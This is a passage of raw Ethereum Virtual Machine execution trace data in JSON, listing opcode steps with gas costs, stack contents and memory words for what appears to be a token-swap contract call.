2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":233,"op":"ADD","gas":97823,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":234,"op":"JUMPDEST","gas":97820,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":235,"op":"PUSH1","gas":97819,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":237,"op":"MLOAD","gas":97816,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":238,"op":"DUP1","gas":97813,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":239,"op":"SWAP2","gas":97810,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":240,"op":"SUB","gas":97807,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x80","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":241,"op":"SWAP1","gas":97804,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":242,"op":"RETURN","gas":97801,"gasCost":0,"depth":2,"stack":["0xe6a43905","0xd6","0x20","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":2969,"op":"ISZERO","gas":99365,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2970,"op":"DUP1","gas":99362,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2971,"op":"ISZERO","gas":99359,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2972,"op":"PUSH2","gas":99356,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2975,"op":"JUMPI","gas":99353,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0","0x1","0xba9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2985,"op":"JUMPDEST","gas":99343,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2986,"op":"POP","gas":99342,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2987,"op":"POP","gas":99340,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2988,"op":"POP","gas":99338,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2989,"op":"POP","gas":99336,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2990,"op":"PUSH1","gas":99334,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2992,"op":"MLOAD","gas":99331,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2993,"op":"RETURNDATASIZE","gas":99328,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2994,"op":"PUSH1","gas":99326,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2996,"op":"NOT","gas":99323,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2997,"op":"PUSH1","gas":99320,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2999,"op":"DUP3","gas":99317,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","00000000000000000000000